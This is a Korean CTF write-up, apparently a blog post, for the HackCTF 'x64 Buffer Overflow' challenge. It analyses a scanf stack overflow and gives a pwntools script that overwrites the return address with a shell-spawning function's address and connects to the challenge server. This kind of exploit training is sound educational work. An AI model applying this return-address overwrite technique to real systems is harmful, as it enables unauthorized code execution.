본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) x64 Buffer Overflow 풀이

by snwo 2020. 3. 21.

파일을 다운받고, ida로 열어보면, 함수리스트를 볼 수가 있다.

주의깊게 봐야할 함수는 maincallMeMaybe 이다.


[ main ]

 

scanf 로 문자열을 입력받아 Hello %s  로 출력해준다.

Buffer : [rbp-0x110]


[ callMeMaybe ]

 

쉘을 실행시켜준다.


scanf 에서도 BOF 가 일어날수있다.

 

[스택]

 

낮은주소 [buffer+0x110] [rbp] [ret address]  높은주소

 

ret address까지 dummy 값으로 채운뒤,

ret address에 callmemaybe 함수의 주소를 쓰면 되겠다.


[ payload ]

 

DUMMY(0x110 + 8 )+ callmemaybe 주소

주소가 8바이트로 표현된다는것을 유의하며

exploit 코드를 짜보자

 

1
2
3
4
5
6
7
8
9
10
from pwn import *
callmemaybe=0x400606
payload=""
payload+='a'*0x110
payload+='b'*8
payload+=p64(callmemaybe)
 
p=remote('ctf.j0n9hyun.xyz',3004)
p.sendline(payload)
p.interactive()

cat flag!